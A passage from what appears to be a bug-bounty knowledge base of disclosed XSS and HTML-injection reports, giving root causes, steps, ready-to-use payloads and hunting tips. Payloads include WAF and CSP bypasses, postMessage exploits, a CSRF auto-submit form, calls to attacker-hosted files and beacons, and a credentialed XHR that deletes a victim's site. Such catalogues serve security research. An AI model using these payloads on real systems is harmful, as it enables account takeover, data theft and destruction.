- Use autofocus + onfocus (or tabindex to make a non-focusable element focusable) so it fires without a click
xss" tabindex=1 autofocus onfocus="alert()
# URL-encoded
xss%22%20tabindex%3d1%20autofocus%20onfocus%3d%22alert()
Insight — When you land in an attribute context and cannot break out into a tag (< > filtered), inject attributes instead: autofocus + onfocus (or onpointerover, onmouseover) executes automatically. tabindex=1 makes otherwise non-focusable elements focusable so autofocus works on them.
Real-world example
Reflected XSS via embed-widget params breaking out of inline script
◆ Low
Specimen #840759 · security · 500 · 387 votes · resolved
Program securitySurface web
Root cause
An embeddable content widget reflects query params (miniUrl) into an inline script/HTML context without escaping, letting the value close the script and inject a tag.
Method
- Request the embed_mini endpoint with a crafted miniUrl
- Break out of the JS string/object and inject a tag
?miniUrl=http://example.com%22%22,})%3C/script%3E%3Csvg+onload=confirm(location)%3E
Insight — OEMBED/embed widgets that build inline JSON/JS from URL params are reflected-XSS hotspots. Fuzz every widget param with `";})</script><svg onload=>` breakout sequences.
Real-world example
Self-XSS/HTML injection under CSP escalated via script gadgets + drag-and-drop
◆ Medium
Specimen #2246576 · github · awarded · 76 votes · resolved
Program githubSurface webChain HTML injection -> script-gadget-driven account actions wi
Root cause
An error response from the check_pattern endpoint is inserted into the DOM via innerHTML without sanitization in the tag-protection settings UI; CSP blocks script, but the HTML injection is escalated using on-site script gadgets, with a drag-and-drop payload as the delivery to defeat the 'self' nature (CVE-2024-1084).
Method
- Trigger a check_pattern error whose message reflects attacker HTML
- Error injected into the page via innerHTML (HTML injection, no direct script under CSP)
- Deliver the payload to the victim's field via drag-and-drop from an attacker page
- Use existing on-site JS gadgets to perform sensitive account actions with created CSRF tokens
Insight — Self-XSS/HTML-injection is not automatically worthless: under a strict CSP, reflected HTML can still be weaponized via (a) on-site script gadgets that turn markup into behavior, (b) form/formaction CSRF gadgets, and (c) drag-and-drop or clipboard delivery to inject into another user's input. Look for innerHTML sinks fed by API error messages.
Real-world example
Second-order stored XSS via title-suggestion/autocomplete store
◆ Medium
Specimen #265384 · rockstargames · USD 1000 · 49 votes · resolved
Program rockstargamesSurface webChain stored title -> suggestion engine -> victim's new-threTag account-takeover
Root cause
Support-thread Titles are stored and later surfaced as 'similar title' suggestions to other users; the suggestion render path did not sanitize the stored title, so a payload planted in one title executes for any user typing a similar title.
Method
- Create a thread whose Title contains an XSS payload (setup)
- The title is indexed for suggestions
- A victim starting a new thread with a similar title triggers the suggestion, executing the payload
Insight — Autocomplete/'similar items'/suggestion features are hidden second-order sinks: input stored in one place is re-rendered to other users elsewhere. Test whether suggestion endpoints HTML-encode stored values.
Real-world example
DOM XSS: URL param concatenated into jQuery-built HTML (Lever board)
◆ Low
Specimen #474656 · security · 500 · 236 votes · resolved
Program securitySurface web
Root cause
A Lever job-board integration reads a URL parameter (lever-...) and concatenates it, unescaped, into an href inside a jQuery .append() HTML string, creating DOM XSS (CSP limited execution to legacy browsers).
Method
- Note client JS splits window.location on '?lever-' and builds link=posting.hostedUrl+leverParameter
- Inject via ?lever-#aaa"><script src=...>
- HTML injected via jQuery append
https://TARGET/careers?lever-#aaa"><script src="https://attacker/x.js"></script>
Insight — Trace DOM sinks where location.href fragments are string-concatenated into .append()/.html(). Third-party integrations (Lever, Marketo, Wistia) frequently do this. Even CSP-blocked cases are HTML injection worth reporting.
Real-world example
Prototype pollution in Wistia embed script -> innerHTML gadget -> XSS
◆ Low
Specimen #986386 · security · 500 · 236 votes · resolved
Program securitySurface webChain prototype pollution -> innerHTML gadget -> AngularJS C
Root cause
Wistia's E-v1.js parses location.href/referrer into an object and is vulnerable to prototype pollution (?__proto__.x); polluting Object.prototype.innerHTML causes elem.fromObject to set innerHTML on a created+inserted element, and a CSP bypass via cloudflare-hosted AngularJS achieves execution.
Method
- Load a page embedding Wistia with ?__proto__.innerHTML=<payload>
- Pollution lands on Object.prototype; fromObject iterates keys and applies innerHTML
- Inject iframe srcdoc loading AngularJS from cdnjs.cloudflare.com (allowed by CSP) with ng-on-error gadget
?__proto__.innerHTML=<iframe srcdoc="<script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js'></script><body ng-app ng-csp><img src=/ ng-on-error=$event.srcElement.ownerDocument.defaultView.alert(document.domain)></body>"></iframe>&__proto__.__global__=1
Insight — Client-side prototype pollution in a widely embedded 3rd-party script (Wistia, analytics) is a site-wide XSS: find a param-parsing sink, pollute innerHTML/a script-loading key, then bypass CSP with a whitelisted CDN (cloudflare/cdnjs) hosting AngularJS.
Real-world example
SSL VPN portal reflected XSS in user param (CVE-2025-0133)
◆ Medium
Specimen #3238607 · deptofdefense · none · 18 votes · resolved
Program deptofdefenseSurface web
Root cause
An SSL VPN login portal reflects the unauthenticated user parameter into the response unescaped (assigned CVE-2025-0133). Concrete payload was redacted in the disclosure.
Method
- Fingerprint an SSL VPN portal login endpoint
- Inject a JS payload into the user parameter
- Send a crafted link to a portal user
Insight — Enterprise SSL VPN portals (GlobalProtect/Fortinet-style gateways) have recurring reflected XSS in the pre-auth username/user parameter; fingerprint version and probe user= (see CVE-2025-0133).
Real-world example
Recon-driven known-CVE XSS: Jolokia 1.3.5 (CVE-2018-1000129)
◆ Medium
Specimen #1714563 · mars · none · 13 votes · resolved
Program marsSurface web
Root cause
An exposed Jolokia JMX-HTTP agent at version 1.3.5 reflects user input unsanitized (CVE-2018-1000129), giving reflected XSS on the monitoring endpoint.
Method
- During recon, fingerprint the Jolokia endpoint and read its reported version.
- If <= 1.3.5, deliver the known CVE-2018-1000129 reflected-XSS payload.
Insight — Version banners on monitoring/agent endpoints (Jolokia, actuator, etc.) map directly to public CVEs. Fingerprint the version, then apply the known payload; no bespoke exploitation needed.
Real-world example
Stored XSS via currency/locale format string propagated into downstream sales channels
◆ Medium
Specimen #104359 · shopify · USD 1000 · 12 votes · resolved
Program shopifySurface web
Root cause
A store's custom currency-formatting template (admin setting) is stored and later rendered unescaped inside integrated sales-channel apps (Facebook/Pinterest/Twitter/Buy Button), so a payload in the format string executes when those channel tabs are viewed.
Method
- In admin settings/general, set a malicious custom currency format containing an HTML/JS payload.
- Enable the sales channels (Facebook, Pinterest, Twitter, Buy Button).
- Open a channel tab (e.g. shopify-facebook collections); the format string renders and fires.
Insight — Format/template settings (currency, date, number formats) are user-controlled strings that fan out to many downstream renderers/exports/embeds that often skip encoding. Trace a stored setting to every place it's interpolated, especially third-party channel integrations.
Real-world example
postMessage handler without origin check + followUpUrl javascript: sink
◆ Low
Specimen #398054 · security · 500 · 207 votes · resolved
Program securitySurface webTag webhook
Root cause
Marketo forms2.js installs a window 'message' listener with no origin validation; an attacker window posts a crafted mktoResponse whose followUpUrl is set to javascript:, which the success handler assigns to location.href (CSP-limited but exploitable on non-CSP browsers / for phishing).
Method
- Victim opens attacker page which frames/opens the target contact form and submits it (populates inflight)
- Attacker window setInterval-posts a mktoResponse message with followUpUrl=javascript:alert()
- Handler sets location.href to the javascript: URL
{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}
Insight — Audit postMessage listeners for missing e.origin checks, then trace the message data into DOM sinks (here followUpUrl -> location.href). Marketo/3rd-party form scripts are recurring offenders; a followUpUrl=https://attacker/401.php also enables basic-auth phishing overlays.
Real-world example
XSS via image/URL proxy serving attacker SVG (Safari)
◆ Low
Specimen #2035332 · security · 500 · 169 votes · resolved
Program securitySurface web
Root cause
An image proxy fetches an attacker-supplied url and serves the response so the browser (Safari) renders the returned SVG as HTML, executing its script on the proxy origin.
Method
- Host an SVG with a script/onload on your server
- Request it through the proxy's url parameter
- Open the proxied URL in Safari; the SVG renders as a document and JS runs
https://image.TARGET/?url=http://attacker.com/xss2.svg
// xss2.svg: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>
Insight — URL/image proxies that echo remote bodies without forcing a safe Content-Type/CSP let you smuggle an executable SVG. Also probe such url= params for full-read SSRF. Browser-specific: SVG-as-HTML rendering behaves differently (Safari here).
Real-world example
Reflected XSS without classic handler via CSS animation onanimationstart
◆ Low
Specimen #1699762 · shopify · awarded · 159 votes · resolved
Program shopifySurface web
Root cause
utm_source is reflected into an attribute context; when script-y handlers are stripped, a style with animation-name plus onanimationstart fires JS automatically as the animation begins.
Method
- Inject into utm_source breaking out into a new attribute
- Add style="animation-name:<existing-keyframes>" and onanimationstart
- Load the URL; animation start triggers the handler with no click
https://www.shopify.com/markets?utm_source=injection%22%20style=%22animation-name:swoop-up%22%20onanimationstart=%22alert(document.domain)
Insight — If onload/onmouseover are filtered, CSS-animation events (onanimationstart/onanimationend/ontransitionend) fire without interaction as long as a keyframes name exists on the page. Great for auto-triggering reflected XSS.
Real-world example
Self-XSS weaponized via JSON CSRF (folder name)
◆ Low
Specimen #323005 · imgur · awarded · 144 votes · resolved
Program imgurSurface webChain JSON CSRF (create favorites folder) -> stored self-XSS naTag csrfTag account-takeover
Root cause
A favorites-folder name is stored XSS but only self-inflicted; a cross-site request forgery that creates the folder (JSON body sent as a form with enctype text/plain) plants the malicious folder in a victim's account, making the self-XSS externally deliverable.
Method
- Confirm folder name renders XSS when saving an image to it (self-XSS)
- Build an auto-submitting form CSRF to POST /3/folders with the XSS name (enctype application/json / text/plain trick)
- Victim visits attacker page; folder is created; XSS fires when they use the folder
<html><body onload='document.forms[0].submit()'>
<form method='POST' enctype='application/json' action='https://api.imgur.com/3/folders'>
<input name='name' value='New Test"><img src=x onerror=prompt(2)>'>
<input name='is_private' value='false'>
</form>
</body></html>
// folder name payload: "'><img src=x onerror=prompt(1)>
Insight — Two out-of-scope bugs (self-XSS + CSRF) combine into an in-scope account attack. When you find self-XSS in a stored field, look for an unprotected create/update endpoint you can CSRF (form-encoded JSON via enctype text/plain) to set that field on the victim.
Real-world example
Stored XSS triggered via accesskey attribute keypress
◆ Low
Specimen #592316 · wordpress · awarded · 132 votes · resolved
Program wordpressSurface web
Root cause
A BuddyPress group name is stored and rendered allowing attribute injection; using accesskey plus an event handler makes the payload fire when the victim presses the browser access-key combo, evading filters that only look for auto-firing handlers.
Method
- Create/modify a group with the accesskey payload as its name
- Enable the groups feature and open the group page
- Victim presses the accesskey combo (e.g. Shift+Alt+X on Windows) to trigger
<a href="accesskey=x onclick=alert(document.domain)//"></a>
Insight — When only auto-firing handlers are filtered, accesskey lets you bind a handler to a keyboard shortcut so the payload survives sanitization and fires on user keypress. Useful in attribute-injection-only contexts.
Real-world example
postMessage origin check bypass via lookalike TLD (indexOf/prefix validation)
◆ Low
Specimen #499030 · security · awarded · 106 votes · resolved
Program securitySurface web
Root cause
A Marketo forms2.min.js postMessage handler validated origin with 0 === i.indexOf(event.origin) where i was https://app-sj17.marketo.com/...; the check passes for any origin that is a prefix of i, so registering app-sj17.ma satisfies it.
Method
- Locate the postMessage listener and its origin check (indexOf/startsWith/regex without anchors)
- Observe the allowed value is a full URL string and the check is a prefix match
- Register a domain that is a prefix of the expected origin (app-sj17.ma is a prefix of app-sj17.marketo.com)
- Send the malicious postMessage from that origin
// vulnerable check:
if (a.originalEvent && 0 === i.indexOf(a.originalEvent.origin)) { ... }
// i = 'https://app-sj17.marketo.com/...' -> origin 'https://app-sj17.ma' passes
// PoC hosted at https://app-sj17.ma/marketo/post2.html
Insight — Origin validation via indexOf/startsWith/unanchored regex is bypassable: an attacker origin that is a substring/prefix of the allowed origin passes. Prefix bugs are exploitable by buying a shorter lookalike domain (e.g. the .ma TLD trims .marketo.com).
Real-world example
HTML injection into transactional email via Name/profile field
◆ Low
Specimen #1581499 · security · USD 500 · 84 votes · resolved
Program securitySurface web
Root cause
A user-controlled Name field is embedded into an HTML email template without encoding, so injected markup renders when the recipient opens the email.
Method
- Register/update a profile setting the Name field to an HTML payload
- Cause the app to send a templated email that includes your name (welcome/test/notification email)
- Open the recipient email; injected HTML renders
Name: <a href="https://attacker/">click</a> (or other HTML markup rendered in the email body)
Insight — Email HTML injection is an often-overlooked sink: display names, project names and message subjects flow into HTML mail templates that skip the escaping web views apply. Impact is usually phishing/link injection (mail clients block JS), but it's a valid finding — test every field that appears in an outbound email.
Real-world example
Second-order stored XSS via attacker-controlled SMTP bounce/error message
◆ Low
Specimen #2956266 · xvideos · USD 250 · 84 votes · resolved
Program xvideosSurface webChain Attacker SMTP REJECT message -> stored bounce history -&g
Root cause
The app records the SMTP server's rejection/error text for an email verification and later renders that bounce history via jQuery html() without sanitization; an attacker who controls the receiving SMTP server injects markup into the REJECT message.
Method
- Run an SMTP server (Postfix) configured to REJECT with a custom message containing an HTML payload
- Register with an email at your domain and trigger email verification
- When the app displays the bounce/error on /account/email via html(), the payload executes
# /etc/postfix/recipient_access
invalid@example.org REJECT 5.1.1 <img src="" onerror="alert('hackerone!')" />
# postmap + restart; then register with invalid@example.org and view /account/email
Insight — Input can arrive from infrastructure you control, not just HTTP params. SMTP bounce/error strings, WHOIS/DNS lookups, HTTP responses to server-side fetches — any external text rendered back in a UI is an injection sink. If it reaches .html()/innerHTML, it's XSS. Also hits users who mistype a domain the attacker owns; if staff view the same bounce UI it can escalate.
Real-world example
XSS via unencoded URL path reflected in a 404/error page
◆ Low
Specimen #150179 · x · awarded · 83 votes · resolved
Program xSurface web
Root cause
A subdomain's 404 error page reflects the request path into HTML without encoding; markup placed in the path executes when rendered.
Method
- Put HTML/JS in the URL path (not a query param) of a subdomain whose 404 reflects it
- Send the request without URL-encoding the path (legacy IE won't encode a path delivered via a 302 redirect)
- Pad the response over the browser's friendly-error threshold (>512 bytes for 404) so the injected page is actually rendered
https://TARGET/<svg/onload=alert(document.domain)>
// legacy-IE delivery: attacker.php -> header('Location: '+URL) so IE keeps the raw path
// pad with trailing dots/chars to exceed 512 bytes and defeat IE friendly HTTP errors
Insight — Error/404 pages routinely echo the request path unencoded — test markup in the path itself, not just params. Two classic constraints: browsers URL-encode paths (bypass historically via a 302 redirect that preserves the raw path), and IE hides short error bodies (pad the response past the ~512-byte threshold). The path-reflection primitive is still worth checking on modern error pages even though the IE-specific tricks are dated.
Real-world example
Image-proxy content-type check bypass via HEAD/GET TOCTOU + Accept header quirk
◆ Low
Specimen #2106708 · security · awarded · 80 votes · resolved
Program securitySurface webTag file-upload
Root cause
An image proxy validates Content-Type with a HEAD request then fetches the resource with a GET; the attacker's server returns image/png to HEAD but redirects/serves an SVG to GET, so an XSS-bearing SVG is proxied and rendered.
Method
- Host a script that returns Content-Type image/png for HEAD requests
- On GET, redirect to an SVG containing script
- Point the proxy url param at your host
- Open in Safari (server skips sanitization when Accept: */*)
<?php
if ($_SERVER['REQUEST_METHOD'] == 'HEAD') {
header("Content-Type: image/png");
exit;
}
header("Location: https://attacker.example/evil.svg");
?>
// Trigger:
// https://image.hackerone.live:8443/resource/md/get/url?url=http://attacker/xss.php
Insight — Any validate-then-fetch flow (image/URL proxies, link unfurlers, SSRF filters) that validates with one request and uses another is TOCTOU-exploitable: differentiate HEAD vs GET, or first-request vs second-request, to slip past content-type/host checks. Also probe Accept-header-dependent sanitization branches.
Real-world example
DOM XSS via postMessage handler accepting javascript: location
◆ Low
Specimen #646505 · shopify · awarded · 76 votes · resolved
Program shopifySurface web
Root cause
A client postMessage handler (Shopify.API.remoteRedirect) takes a data.location value and navigates to it without origin/scheme validation, so a cross-window postMessage carrying a javascript: URL executes in the app origin.
Method
- Open the vulnerable app window with window.open
- Repeatedly postMessage a Shopify.API.remoteRedirect message whose data.location is a javascript: URL
- Handler navigates to javascript:eval(atob(...)) -> code runs in target origin
ctx.postMessage({"message":"Shopify.API.remoteRedirect","data":{"location":`javascript:eval(atob('${btoa("alert(document.domain)")}'))`}}, location.origin)
Insight — Audit window.addEventListener('message') handlers: any handler that routes attacker data into location/href/eval/open without checking event.origin and the URL scheme is DOM XSS. 'remoteRedirect'-style APIs that accept a target location are classic. Spray the message on an interval to win the load race.
Real-world example
Bypass HTML-encoding filter with JS unicode escapes (DOM XSS)
◆ Low
Specimen #979204 · acronis · awarded · 73 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
A URL parameter (back) is HTML-encoded when reflected, but the reflected value is then read back into JS and DOM-inserted; JS unicode escapes survive HTML encoding and reconstitute the dangerous characters at the sink.
Method
- Find a param reflected via client-side JS that builds/append DOM (search source for 'var back =').
- Note server HTML-encodes <, >, " so a raw tag payload fails.
- Replace each blocked char with its JS unicode escape: " -> \u0022, > -> \u003e, < -> \u003c.
- Load the crafted URL; the JS engine decodes the escapes and the img/onerror fires.
https://TARGET/en-us/profile/login.html?-back=\u0022\u003e\u003cimg+src=x+onerror=alert(1)\u003e\u003cx+y=\u0022
Insight — When a filter only HTML-encodes and the sink is JavaScript (string later injected into DOM), try \uXXXX / \xXX escapes; they pass server-side encoders untouched and are decoded by JS at the sink.
Real-world example
WAF double-URL-encoding bypass + accesskey/onclick in 404 hidden input
◆ Low
Specimen #629745 · starbucks · awarded · 72 votes · resolved
Program starbucksSurface webTag account-takeover
Root cause
404 error pages reflect the requested path unescaped into a hidden <link>/input attribute; a WAF blocks raw double quotes but is bypassed by double URL-encoding, and the reflection sits inside a tag so an accesskey+onclick handler is injected (fires on a key combo).
Method
- Request a non-existent path so it reflects into the 404 page's canonical/hidden attribute.
- Confirm a WAF redirects on raw " ; defeat it by double URL-encoding the payload (%2522 = ", %2520 = space, %2527 = ').
- Since reflection is in an attribute of a non-clickable element, add accesskey='x' onclick='confirm`1`' so a key combo triggers it.
- Use backticks confirm`1` to avoid parentheses if those are filtered.
https://TARGET/htp8bi2zcg%2522%2520accesskey=%2527x%2527%2520onclick=%2527confirm%601%60%2527%2520//injection/blonde/bright-sky-blend/ground=1
decoded: htp8bi2zcg" accesskey='x' onclick='confirm`1`' //
Insight — When a WAF blocks quotes, try double URL-encoding; when the injection lands in a non-interactive tag, accesskey + an event handler makes it fire on a keyboard shortcut instead of needing a click.
Real-world example
Trix editor sanitizer bypass: DOMPurify wildcard data-trix- hook + serialization re-injection
◆ Low
Specimen #3581911 · basecamp · 337 · 70 votes · resolved
Program basecampSurface webTag account-takeover
Root cause
Trix's DOMPurify hook force-keeps any attribute matching /^data-trix-/, and its serializer parses data-trix-serialized-attributes (a JSON blob) and blindly el.setAttribute(name,value) with no re-sanitization; an attacker smuggles on* handlers inside a data-trix-attachment content payload past DOMPurify, and serialization injects them into the exported HTML.
Method
- Embed a data-trix-attachment whose content HTML contains an <img> with data-trix-serialized-attributes holding a JSON map like {"onerror":"alert(1)"}.
- The data-trix- prefix makes DOMPurify retain the attribute (wildcard hook).
- When Trix serializes (editor.value / form submit), it parses the JSON and setAttribute's onerror onto the element unsanitized.
- Victim app renders the serialized output -> stored XSS.
copy<figure data-trix-attachment="{"contentType":"text/html","content":"<img src=\"x\" data-trix-serialized-attributes=\"{&quot;onerror&quot;:&quot;alert('XSS')&quot;}\">"}"></figure>me
Insight — When a rich-text editor has a custom sanitizer allowlist (wildcard data-* keep-rules) AND a serialization step that rehydrates attributes from stored JSON, the serializer is a second, unsanitized sink; DOMPurify only guards the parse path, not the re-serialization path.
Real-world example
POST-based (self) XSS via reused signed preview URL, injected into <script>
◆ Low
Specimen #429679 · shopify · 500 · 69 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A preview/listing page reflects a POST-submitted field (App name) into an inline <script> block without escaping; the request carries a reusable ?signature token, so an attacker can pre-capture a valid signed URL and deliver the payload via an auto-submitting cross-site form (POST-based XSS).
Method
- Generate the signed preview URL (contains ?signature) and copy it.
- Set the injected field (App name) to a </script> breakout payload.
- Deliver as an auto-submitting POST form to the signed URL so the victim's browser reflects/executes it.
- Payload fires when the preview renders the field inside <script>.
</script><svg onload=alert()>
Insight — Reflected XSS that only triggers on POST is still exploitable when a signed/state URL is reusable: host a cross-site auto-submit form. Always check whether reflection sits inside <script> (needs </script> breakout, not tag injection).
Real-world example
Self stored XSS escalated cross-user via account sharing + XHR state change
◆ Low
Specimen #1049012 · logitech · awarded · 68 votes · resolved
Program logitechSurface webChain self stored XSS -> shared-access/act-as cross-user executTag account-takeover
Root cause
A goal Title field stores XSS that only renders in the account owner's own dashboard (self-XSS), but the app's shared-access/act-as invitation feature lets the payload execute in a second user's session; the payload then issues an authenticated same-origin XHR (DELETE) to destroy the victim's site.
Method
- Owner injects "><img src=x onerror=...> into a goal Title field (self-stored).
- Use the app's Create Invitation (Administrator) shared-access flow to link an attacker account; act-as puts the payload into a cross-user context.
- When the victim (or shared user) views the goal page, the stored payload runs in their session.
- Payload runs an authenticated XHR to a destructive endpoint (DELETE /api/v6/site/everything) with credentials.
"><img src=x onerror=alert()>
escalated (eval(atob(...)) decodes to):
var x=new XMLHttpRequest;x.withCredentials=true;x.open('DELETE','https://TARGET/api/v6/site/everything');x.setRequestHeader('Content-Type','application/json;');x.send();
Insight — 'Self-XSS, won't fix' is often wrong when the app has account-sharing / delegated-access / act-as / team features: those create a cross-user execution path. Pair stored XSS with a credentialed same-origin XHR to perform destructive actions (CSRF-proof).
Real-world example
DOM CSS injection via param used as stylesheet link href
◆ Low
Specimen #500436 · superhuman · USD 250 · 63 votes · resolved
Program superhumanSurface web
Root cause
A query param (extcss) is passed to addExternalCss(), which creates a <link rel=stylesheet href=PARAM> with no origin/allow-list check, letting an attacker load arbitrary external CSS (phishing/exfiltration; JS in legacy browsers).
Method
- Find a param read from the query that is setAttribute'd onto a link/script href
- Point it at an attacker-hosted .css
- Load the page to inject the stylesheet
https://www.grammarly.com/embedded?height=300&extcss=https://attacker.example/xss.css
Insight — Grep client JS for createElement('link'/'script') + setAttribute('href'/'src', <query-param>); an unfiltered external-resource param is CSS/JS injection and enables CSS-based data exfiltration and UI-redress phishing.
Real-world example
javascript: URI in redirect/return/next_url parameter
◆ Low
Specimen #2419227 · gocd · none · 62 votes · resolved
Program gocdSurface webTag open-redirect
Root cause
A redirect parameter is assigned directly to window.location (or an href/iframe src) with no scheme allow-listing, so a javascript: URI executes when the redirect runs.
Method
- Find a redirect/next/return_url/redirect_to param
- Set its value to a javascript: URI
- Trigger the redirect (reload, click, or automatic) to fire the payload
?redirect_to=javascript:alert("XSS")
// source sink seen in GoCD loading page:
var locationData = window.location.search.match(/(\?|&)redirect_to=([^&]+)(&|$)/);
window.location = decodeURIComponent(locationData[2]);
Insight — Any param whose value ends up in window.location, an anchor href, or an iframe src is a javascript:-URI sink unless the scheme is validated; check open-redirect params for XSS too.
Real-world example
Stored XSS via crafted filename in directory-listing app
◆ Low
Specimen #578138 · nodejs-third-party-modules · none · 61 votes · resolved
Program nodejs-third-party-modulesSurface web
Root cause
A static file server (npm http_server) renders filenames into its directory-listing HTML without encoding, so a file whose name contains HTML/attribute-breakout characters executes JS when the listing is viewed.
Method
- Place a file on the served directory whose name is an XSS payload
- Browse to the directory listing
- Trigger the handler (mouseover) to fire
<img src=x onmouseover=alert(1)>
// or attribute-breakout filename:
" onmouseover=alert(1) "
Insight — Anywhere filenames, upload names, or path segments are reflected into HTML (dir listings, file managers, breadcrumb) is a stored-XSS sink; filesystem is an under-tested injection channel.
Real-world example
HTML injection via email address rendered as messageHtml in admin confirm modal
◆ Low
Specimen #1935628 · gitlab · $1060 · 59 votes · resolved
Program gitlabSurface web
Root cause
A user-controlled unconfirmed-email string is interpolated into a modal's messageHtml (rendered as HTML, not text). The profile/admin list pages show it safely, hiding the payload until the admin triggers the confirm dialog.
Method
- Register with soft email confirmation, log in, then change email appending an HTML payload.
- Admin views the user (email shown without HTML on the profile page - looks benign).
- Admin clicks 'Confirm user'; the modal renders messageHtml and executes the injected markup (img beacon leaks admin IP).
attackersoftemail@example.com<h2>testing<img/src=http://ATTACKER:8000/test.png>
Insight — Look for sink asymmetry: a field escaped in list/table views but passed as *Html to a modal/toast/tooltip. Admin-triggered dialogs (confirm/delete) are prime HTML-injection sinks. script/form filtered but img/style still leak IP and redress.
Real-world example
Reflected XSS via OAuth error_description in <script>, chained to LLM/MCP takeover
◆ Low
Specimen #3424998 · cloudflare · awarded · 59 votes · resolved
Program cloudflareSurface webChain OAuth error_description XSS -> session chat-history read Tag oauth
Root cause
An OAuth handler interpolates the attacker-controllable error_description parameter unescaped into a <script> tag, so a crafted error_description executes JS in the AI Playground session (CVE-2026-1721).
Method
- Find the OAuth callback/handler that reflects error_description (or error) into the page
- Break out of the <script> string context with your JS
- Deliver via phishing link; on the victim's authenticated session the script accesses chat history and connected MCP servers
...&error_description=</script><script>/* JS accessing session chat / MCP */</script>
Insight — OAuth error params (error, error_description, state) are attacker-controlled and routinely reflected into error pages; when interpolated into a <script> context they yield XSS. In LLM/agent apps, XSS escalates to reading chat history and hijacking connected MCP tool servers.
Real-world example
WAF filter bypass via high-byte (%80-%FF) characters in encoded payload
◆ Low
Specimen #716761 · starbucks · awarded · 58 votes · resolved
Program starbucksSurface web
Root cause
A WAF filtering a double-encoded reflected-XSS payload only normalized/inspected bytes %00-%7F; inserting a byte in the %80-%FF range inside the encoded payload broke the WAF's parsing while the app still decoded and reflected the payload (into a hidden input, triggered via accesskey/onclick).
Method
- Take a known-blocked reflected-XSS payload (here a double-encoded accesskey/onclick breakout on 404 pages)
- Insert a high byte (%80-%FF) between encoded tokens (e.g. between %2522 and %2520)
- Confirm the WAF passes it while the reflection still fires
https://TARGET/testing%2522%80%2520accesskey='x'%2520onclick='confirm%601%60'
Insight — WAFs often only normalize ASCII; sprinkling bytes above %7F (or before the payload) can desync WAF parsing from the app decoder. When a fix only blocks %00-%7F, re-test the full %80-%FF range for a bypass.
Real-world example
Reflected XSS via redirect_to inside base64 OAuth state param
◆ Low
Specimen #1502099 · mattermost · USD 150 · 55 votes · resolved
Program mattermostSurface webTag oauth
Root cause
OAuth *_/complete endpoints base64-decode the 'state' param and reflect its redirect_to field into HTML without sanitization.
Method
- Enable an OAuth provider (e.g. gitlab)
- Craft JSON {"action":"mobile","redirect_to":"test\"><script>alert(document.domain)</script>"}
- Base64-encode it and pass as state to /login/{provider}/complete?code=x&state=...
- Script executes on the app origin
GET /login/gitlab/complete?code=x&state=eyJhY3Rpb24iOiJtb2JpbGUiLCJyZWRpcmVjdF90byI6InRlc3RcIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4ifQ==
Insight — Always decode base64/JSON blobs in OAuth state/redirect params and inject inside their nested fields (redirect_to, next, RelayState); server-side reflection of decoded values is commonly unsanitized.
Real-world example
HTML/hyperlink injection in user-controlled content rendered elsewhere
◆ Low
Specimen #2215418 · linkedin · awarded · 54 votes · resolved
Program linkedinSurface web
Root cause
A user field (event description; also signup name) was stored and later rendered without encoding/sanitization in a different view (search results, confirmation email), so injected HTML/anchors became live markup.
Method
- Create a public event; set Description to an <a> tag
- Search for the event so the description renders
- The injected link renders as clickable HTML
<a href="https://malicious-site.com">Click me!</a>
Insight — Track a field from input to every render surface (search, notifications, emails, exports); sanitization at one surface rarely covers all. Even link-only HTML injection is reportable as phishing when it renders in a trusted context.
Real-world example
JS-string reflected XSS delivered cross-user via realtime channel/JSONP
◆ Low
Specimen #259100 · quora · awarded · 53 votes · resolved
Program quoraSurface webChain reflected XSS + missing channel authz -> zero-click store
Root cause
__e2e_action_id is reflected unescaped into a finishAction('...') JS string; normally unreachable, but the _m=edit action delivers that reflection to an attacker-specified realtime channel (window_id) without verifying it belongs to the caller's session.
Method
- Confirm __e2e_action_id reflects into finishAction('ID') in the JSON response
- Copy a _m=edit request
- Set window_id/_lm_window_id to the victim's channel name
- Set __e2e_action_id to ',alert(1),'
- Send request; victim's update poll delivers and executes the payload with no interaction
__e2e_action_id=',alert(1),' (breaks finishAction('',alert(1),'') )
Insight — An unescaped reflection that you cannot self-trigger can still be exploited if the app pushes that response to a victim over a realtime/JSONP channel and does not bind the channel to the caller's session. Hunt for channel/window IDs that aren't authorization-checked.
Real-world example
Reflected XSS via Swagger UI configUrl parameter
◆ Low
Specimen #2684274 · mars · none · 52 votes · resolved
Program marsSurface api
Root cause
Swagger UI honours a configUrl query param that loads a remote config/spec; an attacker-hosted spec can inject script into the docs page.
Method
- Find a Swagger UI docs page (e.g. eVet API)
- Append ?configUrl=<attacker-hosted config/spec>
- UI loads and renders the malicious spec -> XSS
https://TARGET/swagger/?configUrl=https://ATTACKER/malicious-config.json
Insight — Swagger UI's configUrl/url params are a well-known reflected-XSS/spec-injection sink; whenever you see hosted API docs, probe configUrl with an attacker-controlled spec URL.
Real-world example
DOM XSS via postMessage client-side routing path traversal into admin frame
◆ Low
Specimen #662083 · shopify · USD 500 · 51 votes · resolved
Program shopifySurface webChain postMessage -> client-route path traversal -> attacker
Root cause
Shopify.API.pushState (handleRoutePushEvent) concatenates '/admin' + pathname; a '..' prefix escapes the admin prefix, loading an attacker-authored store page into the admin AppFrameMain iframe.
Method
- Create store pages containing script payloads (e.g. /pages/xss)
- From an attacker page, window.open the admin and postMessage {message:'Shopify.API.pushState', data:{pathname:'/../pages/xss'}}
- Admin frame navigates to the attacker page and executes it with admin context
postMessage(JSON.stringify({message:'Shopify.API.pushState', data:{pathname:'/../pages/xss'}}), origin)
Insight — Client-side routers that build paths by string concatenation are traversal-able with ../; combined with an unauthenticated postMessage handler you can load attacker content into a privileged same-origin frame. Audit postMessage listeners and pushState-style routers.
Real-world example
XSS in native desktop client via server-controlled filename rendered as rich text
◆ Low
Specimen #1668028 · nextcloud · USD 750 · 50 votes · resolved
Program nextcloudSurface desktop
Root cause
The Nextcloud Desktop (Qt) client displays a synced file's name in a notification/dialog using a rich-text widget that interprets HTML, without neutralizing the name (CVE-2022-39331).
Method
- From the server, upload a file
- Rename it to contain HTML tags
- On the client, trigger a sync-error notification and open the main dialog
<h1><b><i><u>MikeIsAStar
